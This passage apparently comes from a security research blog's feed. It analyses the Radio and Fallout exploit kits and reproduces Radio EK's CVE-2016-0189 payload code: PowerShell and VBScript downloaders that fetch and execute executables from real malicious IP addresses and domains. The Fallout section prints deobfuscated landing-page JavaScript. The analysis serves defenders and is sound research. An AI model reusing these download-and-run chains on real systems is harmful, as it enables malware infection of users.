http[:]//95.215.207.24/im/build1.jpg 1.2.2 2019-07-14_13-00 http[:]//95.215.207.24/im/build11.jpg 1.2.3 2019-07-14_20-00 http[:]//95.215.207.24/im/vkino2.mid v1.0 First, let’s look at v1.0. It is the traffic when we first encountered Radio EK. When redirected from the ad-network to https [:] // radiobox-online.org, code that exploits CVE-2016-0189 will be executed. This is not obfuscated and is the same as PoC. The important code is this. Set Object = CreateObject("Shell.Application") Object.ShellExecute "PowerShell","(New-Object System.Net.WebClient).DownloadFile('https[:]//radiobox-online.org/images/image.vbs2','documentation.vbs');Start-Process 'documentation.vbs'" This will generate a second traffic. image.vbs2 is a very simple code. mm = "h" nn = "t" bb = "/" vv = ":" cc = "p" x = "." zz = "vbs" q = "0" w = "1" e = "2" r = "3" t = "4" y = "5" u = "6" a = "7" s = "8" f = "9" strr = mm&amp;nn&amp;nn&amp;cc&amp;vv&amp;bb&amp;bb rrts = t&amp;y&amp;x&amp;w&amp;e&amp;x&amp;e&amp;w&amp;y&amp;x&amp;w&amp;y&amp;a&amp;bb rprt = strr&amp;rrts d.Add "1", ""&amp;rprt&amp;"src/load2.jpg|"&amp;temp&amp;"\temp.vbs" Set x = CreateObject("MSXML2.XMLHTTP") For Each i In d x.open "GET", Split(d.Item(i), "|")(0), false x.send() This will load load2.jpg. load2.jpg is also a simple code. Set css = CreateObject("WScript.Shell") css = "http[:]//45.12.215.157/images/" ico = ".exe" css1 = "temp" &amp; rand(1, 100) css2 = "temp" &amp; rand(101, 200) css3 = "temp" &amp; rand(201, 300) css4 = "temp" &amp; rand(301, 400) css5 = "temp" &amp; rand(401, 500) Set oShell = CreateObject( "WScript.Shell" ) temp=oShell.ExpandEnvironmentStrings("%TEMP%\") Dim good Set good = CreateObject("WScript.Shell") good = 200 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''1 set d = CreateObject("Scripting.Dictionary") d.Add "1", "" &amp; css &amp; "1.jpg|"&amp;temp&amp;"" &amp; css1 &amp; "" &amp; ico &amp; "" Set ar1 = CreateObject("MSXML2.XMLHTTP") For Each i In d ar1.open "GET", Split(d.Item(i), "|")(0), false ar1.send() If ar1.Status = good Then With CreateObject("ADODB.Stream") .Open .Type = 1 .Write ar1.ResponseBody .Position = 0 .SaveToFile Split(d.Item(i), "|")(1), 2 .Close End With set WshShell = WScript.CreateObject("Wscript.Shell") WshShell.Run temp &amp; ""&amp; css1 &amp;"" &amp; ico &amp; "", ,true End If Next This process is repeated from 1.jpg to 5.jpg in order. The 1.jpg downloaded and executed in this way is malware. Malware is unencrypted and is plain binary. v1.1 Next, let’s look at v1.1. For v1.1, the code executed by CVE-2016-0189 is as follows: Set Object = CreateObject("Shell.Application") Object.ShellExecute "PowerShell", "(New-Object System.Net.WebClient).DownloadString('https[:]//2no.co/1ehqM6');$local_path = [System.IO.Path]::GetTempPath();(New-Object System.Net.WebClient).DownloadFile('http[:]//95.215.207.24/error.jp', $local_path+'documentation.vbs');$local_path2 = [System.IO.Path]::GetTempPath()+'documentation.vbs';Start-Process $local_path2" Unlike v1.0, the VBScript URL to be loaded next is http[:]//95.215.207.24/error.jp. At this time, the end of the URL is .jp. I don’t know if this is a mistake in hitting jpg or meaning Japan. error.jp will execute code similar to v1.0 load2.jpg. Set css = CreateObject("WScript.Shell") css = "http[:]//95.215.207.24/im/" ico = ".exe" css1 = "temp" &amp; rand(1, 100) css2 = "temp" &amp; rand(101, 200) css3 = "temp" &amp; rand(201, 300) css4 = "temp" &amp; rand(301, 400) css5 = "temp" &amp; rand(401, 500) Set oShell = CreateObject( "WScript.Shell" ) temp=oShell.ExpandEnvironmentStrings("%TEMP%\") Dim good Set good = CreateObject("WScript.Shell") good = 200 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''1 set d = CreateObject("Scripting.Dictionary") d.Add "1", "" &amp; css &amp; "1.jpg|"&amp;temp&amp;"" &amp; css1 &amp; "" &amp; ico &amp; "" Set ar1 = CreateObject("MSXML2.XMLHTTP") For Each i In d ar1.open "GET", Split(d.Item(i), "|")(0), false ar1.send() If ar1.Status = good Then With CreateObject("ADODB.Stream") .Open .Type = 1 .Write ar1.ResponseBody .Position = 0 .SaveToFile Split(d.Item(i), "|")(1), 2 .Close End With set WshShell = WScript.CreateObject("Wscript.Shell") WshShell.Run temp &amp; ""&amp; css1 &amp;"" &amp; ico &amp; "", ,true End If Next This is also repeated until /im/5.jpg. The downloaded / executed /im/1.jpg is malware. As in v1.0, malware is not encrypted. v1.2.0 Finally, let’s look at v1.2. It became very simple. It can be said that nothing is over. The code executed by CVE-2016-0189 is as follows: Set Object = CreateObject("Shell.Application") Object.ShellExecute "PowerShell", "(New-Object System.Net.WebClient).DownloadString('https[:]//2no.co/1YdQt7');$local_path = [System.IO.Path]::GetTempPath();(New-Object System.Net.WebClient).DownloadFile('http[:]//95.215.207.24/im/1.jpg', $local_path+'documentation.exe');$local_path2 = [System.IO.Path]::GetTempPath()+'documentation.exe';Start-Process $local_path2" Thus, /im/1.jpg downloaded and executed is malware. As before, malware is not encrypted. The path of /im/1.jpg has only changed since v1.2.0. The essential process is the same. Conclusion Radio EK is active, but its attack power is very low. Compared to RIG and Fallout, the threat is not something that bothers you. However, there may be aggressive updates in the future. You should be aware of the existence of this EK.]]></summary></entry><entry><title type="html">Steady Evolution of Fallout v4</title><link href="http://nao-sec.org/2019/07/steady-evolution-of-fallout-v4.html" rel="alternate" type="text/html" title="Steady Evolution of Fallout v4" /><published>2019-07-09T15:00:00+00:00</published><updated>2019-07-09T15:00:00+00:00</updated><id>http://nao-sec.org/2019/07/steady-evolution-of-fallout-v4</id><content type="html" xml:base="http://nao-sec.org/2019/07/steady-evolution-of-fallout-v4.html"><![CDATA[<h2 id="first">First</h2>
<p>We have been observing the Fallout Exploit Kit since August 2018. Fallout is using non-characteristic URL and heavily obfuscated landing page. The user still exists and attacks are observed daily. Recently, we were investigating an attack campaign that infects Raccoon Stealer in the flow of PopAds-&gt; KeitaroTDS-&gt; Fallout.</p>

<p>About Fallout, we have already written three reports. The first one was about the emergence of Fallout, the second one was to start using PowerShell and the third one was to start exploiting PoC on GitHub. We divide these major changes by version and call them v1~3.</p>

<ul>
  <li><a href="https://nao-sec.org/2018/09/hello-fallout-exploit-kit.html">Hello “Fallout Exploit Kit”</a></li>
  <li><a href="https://nao-sec.org/2019/01/in-depth-analysis-of-new-fallout.html">In-Depth analysis of new Fallout Exploit Kit</a></li>
  <li><a href="https://nao-sec.org/2019/03/analysis-of-fallout-exploit-kit-v3.html">Analysis of Fallout Exploit Kit v3</a></li>
</ul>

<p>We wrote about v3 in March 2019. v3 is not stable and has been updated to the next version immediately. @EKFiddle (created and maintained by @jeromesegura) reported this change on April 11.</p>

<blockquote class="twitter-tweet" data-lang="ja"><p lang="en" dir="ltr"><a href="https://twitter.com/hashtag/EKFiddle?src=hash&amp;ref_src=twsrc%5Etfw">#EKFiddle</a> [Regex update]: <a href="https://twitter.com/hashtag/FalloutEK?src=hash&amp;ref_src=twsrc%5Etfw">#FalloutEK</a><br />Seems like there is no more use of the PoC on GitHub for CVE-2018-8174.<br />Pushing <a href="https://twitter.com/hashtag/GandCrab?src=hash&amp;ref_src=twsrc%5Etfw">#GandCrab</a> in this particular instance.<a href="https://t.co/U67qZosp1e">https://t.co/U67qZosp1e</a> <a href="https://t.co/buVTakYuhJ">pic.twitter.com/buVTakYuhJ</a></p>&mdash; EKFiddle (@EKFiddle) <a href="https://twitter.com/EKFiddle/status/1116134534989238272?ref_src=twsrc%5Etfw">2019年4月11日</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>We call this a big update v4 (it is still v4). Detailed analysis report has not been written about what kind of update Fallout has done. However, this update is very big. At least for us (Exploit Kit analyst), that made the analysis very cumbersome. Fallout v4 incorporates the following features.</p>

<div class="language-md highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">1.</span> Diffie-Hellman key exchange
<span class="p">2.</span> VM detection
<span class="p">3.</span> Process detection
</code></pre></div></div>

<p>Here, we will share detailed analysis results on the updates made by Fallout v4. But unfortunately, we did not understand everything. If you are aware of it, please help us.</p>

<h2 id="traffic-chain">Traffic chain</h2>
<p>First, let’s look at the previous traffic chain. v1~3 was like this.</p>

<p><img src="https://4.bp.blogspot.com/-eXpYD_rUFwU/W4loVPM1TTI/AAAAAAAAAVI/XuE3p36q7QMAVw95gBYPkKOA-IhsdaoAQCLcBGAs/s1600/0.png" alt="" />
<img src="https://3.bp.blogspot.com/-_qnvJOfIOeE/XEiKt9Zs16I/AAAAAAAAAYI/tspkgYcwxe0YjeGhaTGofsUBpfmhjJzmwCLcBGAs/s1600/0.png" alt="" />
<img src="https://nao-sec.org/assets/2019-03-07/01.png" alt="" /></p>

<p>In v3, it acquired PoC of CVE-2018-8174 from GitHub, and attacked by rewriting the part of shellcode. So what kind of traffic chain is v4?</p>

<p><img src="https://nao-sec.org/assets/2019-07-09/01.png" alt="" /></p>

<div class="language-md highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">1.</span> Landing Page
<span class="p">2.</span> JavaScript Code
<span class="p">3.</span> Encoded Code 1
<span class="p">4.</span> Encoded Code 2 (CVE-2018-8174 + SWF Loader)
<span class="p">5.</span> CVE-2018-15982
<span class="p">6.</span> PowerShell Code
<span class="p">7.</span> Malware
</code></pre></div></div>

<p>In this way, an attack is performed by seven traffics. Let’s look at each one in order. (In the following, we will use different traffic data from the above. The detailed reason will be mentioned later, but it is difficult to capture and analyze traffic at the same time)</p>

<h2 id="landing-page--js-code--encoded-data">Landing Page + JS Code + Encoded Data</h2>
<p>In the landing page, JavaScript code is read first.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html&gt;</span>
<span class="nt">&lt;head&gt;</span>
<span class="nt">&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"x-ua-compatible"</span> <span class="na">content=</span><span class="s">"IE=10"</span><span class="nt">&gt;</span>
<span class="nt">&lt;script </span><span class="na">type=</span><span class="s">"text/javascript"</span> <span class="na">src=</span><span class="s">"/04_09_2003/Symposium?Peristele=02_03_1943&amp;LE3r=Aps&amp;ILZhH=Frazzling-Anorexias"</span><span class="nt">&gt;&lt;/script&gt;</span>
<span class="nt">&lt;/head&gt;</span>
</code></pre></div></div>

<p>This includes CryptoJS and BigInteger obfuscated. Excluding the large library parts, there is very little processing.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// key</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">III1l1</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">Il1IIllIlI1I</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">IIIlI</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">II1I1lI1I</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">ll1llI1</span><span class="dl">"</span><span class="p">](</span><span class="dl">"</span><span class="s2">8b69cbdfc5fe43e69b7920c8ee721fc9</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// iv</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">II1ll11I</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">Il1IIllIlI1I</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">IIIlI</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">II1I1lI1I</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">ll1llI1</span><span class="dl">"</span><span class="p">](</span><span class="dl">"</span><span class="s2">301ae8205ddcd5897df69e3b0c056c34</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// aes_decrypt(enc_data, key, iv)</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">l11llIll</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">Il1IIllIlI1I</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">lI11lIl</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">l11II11l</span><span class="dl">"</span><span class="p">](</span><span class="dl">"</span><span class="s2">p4N9IqH/oiAKHkDCR0zXXfrvhwVrVPsFZSNUjkVFXxxBofjpd5JLM1sdAega3oRy</span><span class="dl">"</span><span class="p">,</span> <span class="nx">III1l1</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">lI1lIl1Ill</span><span class="p">:</span> <span class="nx">II1ll11I</span>
<span class="p">})[</span><span class="dl">"</span><span class="s2">lIlIlll11l</span><span class="dl">"</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">Il1IIllIlI1I</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">IIIlI</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">Il11I1II</span><span class="dl">"</span><span class="p">]);</span>
</code></pre></div></div>

<p>First, two data (<code class="language-plaintext highlighter-rouge">8b69cbdfc5fe43e69b7920c8ee721fc9</code> and <code class="language-plaintext highlighter-rouge">301ae8205ddcd5897df69e3b0c056c34</code>) will appear. This is a key and an IV for AES encryption. By decrypting the next Base64 character string using these keys and IV, the necessary data (specifically, the URL for acquiring encoded data used in the next step) can be obtained. . When it tries decoding, it becomes like this.</p>

<p><img src="https://nao-sec.org/assets/2019-07-09/02.png" alt="" /></p>

<p>Next is the process of checking which browser is being used. Depending on it, Opera, Firefox, IE or Chrome is investigated.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// check browser</span>
<span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">String</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">prototype</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">II1l1IlI</span><span class="dl">"</span><span class="p">]</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
    <span class="k">return</span> <span class="p">(</span><span class="o">!!</span><span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">opr</span><span class="dl">"</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="o">!!</span><span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">opr</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">addons</span><span class="dl">"</span><span class="p">]</span> <span class="o">||</span> <span class="o">!!</span><span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">opera</span><span class="dl">"</span><span class="p">]</span> <span class="o">||</span> <span class="nb">navigator</span><span class="p">[</span><span class="dl">"</span><span class="s2">userAgent</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">indexOf</span><span class="dl">"</span><span class="p">](</span><span class="dl">"</span><span class="s2"> OPR/</span><span class="dl">"</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span>
    <span class="o">+</span> <span class="k">this</span> <span class="o">+</span> <span class="p">(</span><span class="k">typeof</span> <span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">InstallTrigger</span><span class="dl">"</span><span class="p">]</span> <span class="o">!==</span> <span class="dl">"</span><span class="s2">undefined</span><span class="dl">"</span><span class="p">)</span>
    <span class="o">+</span> <span class="k">this</span> <span class="o">+</span> <span class="p">(</span><span class="kc">false</span> <span class="o">||</span> <span class="o">!!</span><span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">document</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">documentMode</span><span class="dl">"</span><span class="p">])</span>
    <span class="o">+</span> <span class="k">this</span> <span class="o">+</span> <span class="p">(</span><span class="o">!!</span><span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">chrome</span><span class="dl">"</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="o">!!</span><span class="nb">window</span><span class="p">[</span><span class="dl">"</span><span class="s2">chrome</span><span class="dl">"</span><span class="p">][</span><span class="dl">"</span><span class="s2">runtime</span><span class="dl">"</span><span class="p">])</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Then there is a process to check the version of Adobe Flash Player. This data will be used later.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
    <span class="nb">window</span><span class="p">.</span><span class="nx">l1l111I</span> <span class="o">=</span> <span class="dl">''</span><span class="p">;</span>
    <span class="k">try</span> <span class="p">{</span>
        <span class="nb">window</span><span class="p">.</span><span class="nx">l1l111I</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">ActiveXObject</span><span class="p">(</span><span class="dl">'</span><span class="s1">ShockwaveFlash.ShockwaveFlash</span><span class="dl">'</span><span class="p">).</span><span class="nx">getVariable</span><span class="p">(</span><span class="dl">'</span><span class="s1">$version</span><span class="dl">'</span><span class="p">)</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{}</span>
<span class="p">})();</span>
</code></pre></div></div>

<p>The process then returns to the landing page. In the landing page, one function is defined and executed. Let’s look at that function.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// str_A</span>
<span class="kd">var</span> <span class="nx">l1ll1</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lIIIlI1IlII</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">I111l11l</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1I</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">]();</span>
<span class="c1">// str_B</span>
<span class="kd">var</span> <span class="nx">lIlII11</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l1IIlIlI</span><span class="dl">'</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lIIIlI1IlII</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">I111l11l</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1I</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](),</span> <span class="mi">16</span><span class="p">);</span>
<span class="c1">// str_C</span>
<span class="kd">var</span> <span class="nx">ll1l1IlIIIll</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l1IIlIlI</span><span class="dl">'</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lIIIlI1IlII</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">I111l11l</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1I</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](),</span> <span class="mi">16</span><span class="p">);</span>
<span class="c1">// str_D</span>
<span class="kd">var</span> <span class="nx">lll1II</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1l1IIlIlI</span><span class="dl">'</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lIIIlI1IlII</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">I111l11l</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">II1I1I</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](),</span> <span class="mi">16</span><span class="p">);</span>

<span class="c1">// str_E =&gt; str_B.modPow(str_C, str_D)</span>
<span class="kd">var</span> <span class="nx">l11IlIl</span> <span class="o">=</span> <span class="nx">lIlII11</span><span class="p">[</span><span class="dl">'</span><span class="s1">ll11IIl</span><span class="dl">'</span><span class="p">](</span><span class="nx">ll1l1IlIIIll</span><span class="p">,</span> <span class="nx">lll1II</span><span class="p">);</span>
</code></pre></div></div>

<p>Here, many processes such as <code class="language-plaintext highlighter-rouge">window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l']()</code> appear. This is defined in CryptoJS and generates a 32 character random hexadecimal string. After generating four random data, use the second, third and fourth of them to generate the fifth data. Here modPow is used. The five data prepared here will be used in the ensuing cryptographic process. We call them str_A, str_B, str_C, str_D, str_E.</p>

<p>The following code is divided into three parts. <code class="language-plaintext highlighter-rouge">Onreadystatechange</code> after the first one has sent a request to the server. The process of generating data to be sent by the second. The third is the process to send. These are the standard XMLHttpRequest POST procedures. First, let’s look at the process of generating transmission data.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">l11IlIIlllll</span> <span class="o">=</span> <span class="p">{};</span>

<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlII11</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">lIlII11</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">);</span>    <span class="c1">// str_B</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">lll1II</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">lll1II</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">);</span>      <span class="c1">// str_D</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">l11IlIl</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">l11IlIl</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="mi">16</span><span class="p">);</span>    <span class="c1">// str_E</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">lI1lIl1Ill</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">l1ll1</span><span class="p">;</span>                     <span class="c1">// str_A</span>

<span class="c1">// browser check data</span>
<span class="nx">l11IlIIlllll</span><span class="p">[</span><span class="dl">'</span><span class="s1">II1l1IlI</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">@@</span><span class="dl">'</span> <span class="p">[</span><span class="dl">'</span><span class="s1">II1l1IlI</span><span class="dl">'</span><span class="p">]();</span>
</code></pre></div></div>

<p>Five data have been added to the array <code class="language-plaintext highlighter-rouge">l11IlIIlllll</code>. Other than the last one is the random data created earlier. There are 5 random data, but the data other than str_C is send data. The last one is the browser check data generated earlier. It checks whether the browser is Opera, Firefox, IE or Chrome, respectively, and contains true or false and is concatenated with <code class="language-plaintext highlighter-rouge">@@</code>. Such data is prepared for send. It should be noted here that str_C has not been sent to the server.</p>

<p>Next, let’s look at the sending process.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">I1l1I1</span><span class="dl">'</span><span class="p">](</span><span class="nx">Il1I11l</span><span class="p">,</span> <span class="dl">"</span><span class="s2">post</span><span class="dl">"</span><span class="p">,</span> <span class="nx">l11llIll</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

<span class="cm">/* -- snip -- */</span>

<span class="c1">// Send POST</span>
<span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">l1lllIIlI</span><span class="dl">'</span><span class="p">](</span>
    <span class="nx">Il1I11l</span><span class="p">,</span>

    <span class="c1">// aes_encrypt(data, key, iv)</span>
    <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lI11lIl</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">Ill1lI1Ill</span><span class="dl">'</span><span class="p">](</span>
        <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">IIII1Il</span><span class="dl">'</span><span class="p">](</span><span class="nx">l11IlIIlllll</span><span class="p">),</span>        <span class="c1">// post request data</span>
        <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">III1l1</span><span class="dl">'</span><span class="p">],</span>                       <span class="c1">// key</span>
        <span class="p">{</span> <span class="na">lI1lIl1Ill</span><span class="p">:</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">II1ll11I</span><span class="dl">'</span><span class="p">]</span> <span class="p">}</span>      <span class="c1">// iv</span>
    <span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">]()</span>
<span class="p">);</span>
</code></pre></div></div>

<p>This is also a general request sending process. The URL is a string decoded by AES earlier. The data to be sent is the previously prepared data, but these are encrypted by AES. The key and IV are the same as those used to decode the URL. The previous data to be encrypted looks like this.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"lIlII11"</span><span class="p">:</span><span class="s2">"c81e728d9d4c2f636f067f89cc14862c"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"lll1II"</span><span class="p">:</span><span class="s2">"a87ff679a2f3e71d9181a67b7542122c"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"l11IlIl"</span><span class="p">:</span><span class="s2">"3f05415ebff145466040f6a73dca8704"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"lI1lIl1Ill"</span><span class="p">:</span><span class="s2">"c4ca4238a0b923820dcc509a6f75849b"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"II1l1IlI"</span><span class="p">:</span><span class="s2">"false@@false@@true@@false"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The data actually sent is encrypted in this way.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>TvU4TAyld3MNlDcMtLwxBo+uVXAbIB1jpPO1a9HDv2dZs7HonG67s8heWoMyvnUFqFBdoEhU0STYjHHQxX6DK7x7Z1naG/2TAdm+AR5l6gpYVl4jXB9oOOyfJtZrfJHabQT5Jhlqv1dtvsJ+0G27qhamqtPT16wCpXn2R2WHf8NJu9SvXSSVadW7sT6QDt32Jt0z3oR0VIlpuE/w3snfKDNIjJYhuMz/VGYIL9WNdg0hC26sxB5fJ5fOOuifh2rNk9GgNsNdfVP01Tf77GRDu9puTbgfsgYOnCz0ONOmp05B14kJ1tK8ZI6ciOWLvOYV
</code></pre></div></div>

<p>Let’s look at the process after sending. <code class="language-plaintext highlighter-rouge">onreadystatechange</code> is called. Here, two AES decodings are performed. Let’s first look at the first decoding process.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// aes_decrypt(enc_data, key, iv)</span>
<span class="kd">var</span> <span class="nx">lIlIl1IIl11</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">lI11lIl</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">l11II11l</span><span class="dl">'</span><span class="p">](</span>
    <span class="nx">Il1I11l</span><span class="p">[</span><span class="dl">'</span><span class="s1">responseText</span><span class="dl">'</span><span class="p">],</span>                <span class="c1">// enc_data</span>
    <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">III1l1</span><span class="dl">'</span><span class="p">],</span>                       <span class="c1">// key</span>
    <span class="p">{</span> <span class="na">lI1lIl1Ill</span><span class="p">:</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">II1ll11I</span><span class="dl">'</span><span class="p">]</span> <span class="p">}</span>      <span class="c1">// iv</span>
<span class="p">)[</span><span class="dl">'</span><span class="s1">lIlIlll11l</span><span class="dl">'</span><span class="p">](</span><span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">Il1IIllIlI1I</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">IIIlI</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">Il11I1II</span><span class="dl">'</span><span class="p">]);</span>

<span class="kd">var</span> <span class="nx">l1I1l1</span> <span class="o">=</span> <span class="nb">window</span><span class="p">[</span><span class="dl">'</span><span class="s1">lIl11</span><span class="dl">'</span><span class="p">](</span><span class="nx">lIlIl1IIl11</span><span class="p">);</span>
</code></pre></div></div>

